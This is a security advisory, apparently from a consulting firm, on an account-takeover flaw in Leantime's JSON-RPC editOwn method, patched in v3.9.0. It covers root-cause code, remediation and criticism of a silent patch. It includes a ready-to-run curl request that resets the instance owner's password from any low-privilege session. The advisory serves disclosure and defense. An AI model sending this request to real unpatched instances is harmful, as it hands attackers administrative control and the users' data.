Voke Cyber Security Advisory

Leantime JSON-RPC Account Takeover: Any Logged-In User Could Reset Anyone's Password

Louis Sanchez August 18, 2026 12 min read
ProductLeantime — open-source project management (PHP/Laravel)
SeverityHigh  CVSS v3.1 base score 8.8 — 9.8 where self-registration is enabled
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
WeaknessesCWE-639 — Authorization Bypass Through User-Controlled Key (IDOR) • CWE-862 — Missing Authorization
AffectedLeantime 3.x through v3.8.0. The original advisory records <= 3.7.3, the release current when it was filed; the defect persisted through v3.8.0.
Fixed inPatched  v3.9.0, released 2026-06-12 (fix merged 2026-06-02 in PR #3471)
CVENot assigned. A distinct identifier is requested under CERT/CC case VU#685483
CoordinationCERT/CC VU#685483 • original report GHSA-jxgw-q79v-g84j (filed 2026-04-23, closed by the maintainer without substantive review) • reopened by Voke Cyber as GHSA-5447-phq9-qjmm on 2026-07-18. All three remain non-public, so they are listed as identifiers rather than links.
Reported byLouis Sanchez — Voke Cyber

Fixed — upgrade to v3.9.0

This is patched. If you self-host Leantime and are still on 3.7.x or 3.8.0, upgrade to v3.9.0 or later. There is no configuration workaround on affected versions short of blocking the method at a reverse proxy, because the endpoint does not distinguish a self-edit from a cross-account edit before it writes.

The short version

Leantime's editOwn method is the self-service "edit my own profile" routine. Through the browser it edits your own account, because the controller pins the record to your session. Through the JSON-RPC endpoint at /api/jsonrpc the controller is never involved, the caller supplies the user id, and nothing compares that id to the person making the request. Send the instance owner's id and a password of your choosing, then log in as the owner. A read-only account is enough.

Background: the second front door

Leantime is a self-hosted project management platform used to run projects, tickets, timesheets, and client work. Like a lot of modern PHP applications it grew a second way in: a JSON-RPC endpoint at POST /api/jsonrpc that exposes the application's internal service layer to API clients.

That endpoint is the whole story here. The vulnerability is not in the profile-update logic, which is perfectly reasonable code. It is in the fact that the same logic is reachable through two doors, and only one of them was ever guarded.

Why it matters

The technique is an ordinary IDOR. What makes it worth writing up is the privilege distance it collapses.

Leantime instances routinely hand out low-tier logins: contractors, clients invited into a single project, guests, read-only stakeholders. Some instances run with self-registration enabled. On an affected version, every one of those accounts was one HTTP request away from owning the administrator account and everything under it — every project, every client record, every uploaded file, every timesheet, plus the ability to create further admin accounts and change instance settings.

Where self-registration is enabled, privileges-required drops to none and the score rises to 9.8. There is no victim interaction and no chaining. The first thing the victim notices is that their password no longer works.

Root cause: two doors, one of them guarded

Leantime has two ways to reach the same profile-update logic, and they disagree about where the user id comes from.

The browser-facing controller pins the record to the session and ignores whatever the client sends:

app/Domain/Users/Controllers/EditOwn.php

// The user id is taken from the session, not from the request.
$this->userId = session('userdata.id');

The JSON-RPC path never touches that controller. The dispatcher resolves the service straight out of the container and calls the method with the parameters from the request body. In v3.8.0, app/Domain/Api/Controllers/Jsonrpc.php line 234:

$method_response = app()->make($serviceName)->$methodName(...$preparedParams);

There is no authorization anywhere before that line. There is not even a check that the method was meant to be exposed over the API at all. Twenty-four lines above it, at line 210, sits the maintainer's own note about the gap:

// Check method attributes
// TODO: Check if method is available for api

So the caller's id parameter arrives at the service untouched, and the service passes it straight through:

app/Domain/Users/Services/Users.php (v3.7.3, unchanged through v3.8.0)

public function editOwn($values, $id): void
{
    $this->userRepo->editOwn($values, $id);

    $user = $this->getUser($id);

    $this->authService->setUserSession($user);

    self::dispatch_event('editUser', ['id' => $id, 'values' => $values]);
}

The repository then writes the row identified by that id, hashing and storing a new password whenever one is supplied:

app/Domain/Users/Repositories/Users.php

public function editOwn($values, $id): void
{
    $updateData = [
        'lastname'      => $values['lastname'],
        'firstname'     => $values['firstname'],
        'username'      => $values['user'],
        'phone'         => $values['phone'],
        'notifications' => $values['notifications'],
        'modified'      => now(),
    ];

    // A supplied password is hashed and written, for whichever row $id names.
    if (isset($values['password']) && $values['password'] != '') {
        $updateData['password'] = password_hash($values['password'], PASSWORD_DEFAULT);
    }

    $this->connection->table('zp_user')
        ->where('id', $id)
        ->limit(1)
        ->update($updateData);
}

Nothing between the socket and the WHERE id clause asks whether the caller owns that row.

It is worth naming the pattern, because it is not specific to Leantime. When an application exposes its service layer over RPC, every authorization check that lives in a controller stops being a control. The controller was the only thing pinning editOwn to the session, and an RPC dispatcher routes around controllers by design. Self-service methods are the ones this hurts most, precisely because they are written under the assumption that the id was never attacker-controlled in the first place.

Exploitation

Prerequisite: any valid Leantime login. A self-registered account, an invited client, or a read-only teammate all work. The steps below take over user id 1, the instance owner in a default install.

Authenticate normally, keep the session cookie, then send one request. Note the X-Requested-With: XMLHttpRequest header: the endpoint accepts an ordinary web session cookie for JSON-RPC authentication when that header is present, matching how the product's own browser JavaScript calls it. No API key is required, which is what puts this within reach of any account that can log in through the front page.

curl -s "$BASE/api/jsonrpc" \
  -H "Content-Type: application/json" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Cookie: $ATTACKER_SESSION" \
  -d '{
        "jsonrpc": "2.0",
        "method": "leantime.rpc.users.users.editOwn",
        "params": {
          "values": {
            "firstname": "Owner",
            "lastname": "Account",
            "user": "owner@example.com",
            "phone": "",
            "notifications": 1,
            "password": "AttackerKnows1!"
          },
          "id": 1
        },
        "id": 1
      }'

Then log in through the ordinary login form as owner@example.com with that password. That is full administrative control of the instance.

Two details worth knowing:

Impact

From any authenticated account, including the lowest-privilege role:

Because the owner can be reached from a read-only login, the authorization model of the instance does not degrade gracefully. It collapses in one request.

CVSS vector breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — base score 8.8

Remediation

Upgrade to v3.9.0 or later. The service method now discards the caller-supplied id and pins the write to the session user:

public function editOwn($values, $id): void
{
    // Self-service: pin to the authenticated user (ignore any caller-supplied id).
    $id = (int) session('userdata.id');

    $this->userRepo->editOwn($values, $id);
    ...
}

Operators who ran an affected version with untrusted or self-registered accounts should treat it as a credential-compromise event: audit zp_user for unexpected modified timestamps and changed usernames, review admin membership, and force a password reset.

The same release also introduced a permission engine across the service layer, so authorization no longer depends on which entry point a request came through. That is the structurally correct place for it, and the lesson generalizes: if you expose services over RPC, authorization belongs in the service or the dispatcher, never only in the controller.

A note on disclosure and identifiers

This issue was reported on 2026-04-23 as one finding inside a broader report on the Leantime JSON-RPC authorization surface, filed privately as GHSA-jxgw-q79v-g84j. The maintainers credited Voke Cyber as reporter the same day. Then the thread went quiet: two requests for confirmation of receipt on 2026-05-04, with the maintainers tagged directly, went unanswered, as did a follow-up to the project's security contact after its stated 48-hour response window passed. CERT/CC coordination opened on 2026-05-16 (VU#685483).

On 2026-05-27 the maintainer closed the advisory. No triage discussion, no questions, and no response to any of the three findings it documented. Six days later the code was fixed. A request for CVE assignment, posted to the same thread on 2026-06-22, also went unanswered. On 2026-07-18 Voke Cyber opened a second advisory, GHSA-5447-phq9-qjmm, to track this finding on its own.

All three records remain non-public as of this writing (verified 2026-08-18): both GitHub advisories return 404 to anyone outside the repository, and CERT/CC has not published VU#685483 despite an expected public date of 2026-07-13. The reporter credit granted in April is therefore invisible too, since it lives on a record nobody outside the repository can read. There is, in other words, no public record of this vulnerability anywhere except this page.

The closed advisory still lists Patched versions: None and CVE ID: No known CVE, more than two months after v3.9.0 shipped the fix. Even the private record is wrong about its own resolution.

The code was nonetheless fixed. On 2026-06-02 the correction landed in PR #3471, a feature pull request titled after a permission-engine refactor, and shipped in v3.9.0 on 2026-06-12. No security advisory accompanied it, the release notes do not name it, and nothing in the changelog signals that an account-takeover path was closed. This is a silent patch.

In July 2026, four Leantime JSON-RPC issues were published as CVEs by other parties: CVE-2026-59712 (getUser credential disclosure), CVE-2026-15509 (addUser and editUser role escalation), CVE-2026-15510 (saveSetting), and CVE-2026-59713 (OIDC login CSRF). This one, the editOwn account takeover, is not among them and is not described by any of them. It is a different method, a different weakness class, and a different outcome. The v3.9.0 release notes list several IDOR fixes by name; the self-service password overwrite is not one of them.

Silent patching is worth naming as a bad practice, because the reasoning behind it usually sounds responsible. The argument is that publishing details arms attackers, so quietly shipping the fix protects users. That argument fails on the facts of how self-hosted software actually gets updated.

Attackers read commit diffs. A public repository publishes the patch the moment it merges, and a diff that adds an ownership check to a self-service method tells a competent reader exactly what was wrong and how to exploit the version before it. The people who lose the race are the defenders, because they are the only ones relying on being told. An administrator running a self-hosted project tool learns about security updates from a CVE feed, a Dependabot alert, or a release note that says "security fix." A fix that lands inside a refactor-titled pull request produces none of the three.

So the practical outcome of a silent patch is the reverse of the intent: the exploit is public in the diff, and the warning is not. An operator still on 3.8.0 today has a live account-takeover path on their instance, a fix that has existed for two months, and no reason to believe the upgrade is urgent. A CVE carve-out is requested under VU#685483; until one is assigned, this page is the only notice they will get.

Disclosure timeline

References

We find the bugs tools miss

A scanner sees an authenticated endpoint returning 200 and moves on. It has no concept that the id in the request body should have belonged to the caller. That question takes a person, and it is the same question we ask on every API and web application test we run for clients across the Charlotte, NC area and nationwide.

Get a Quote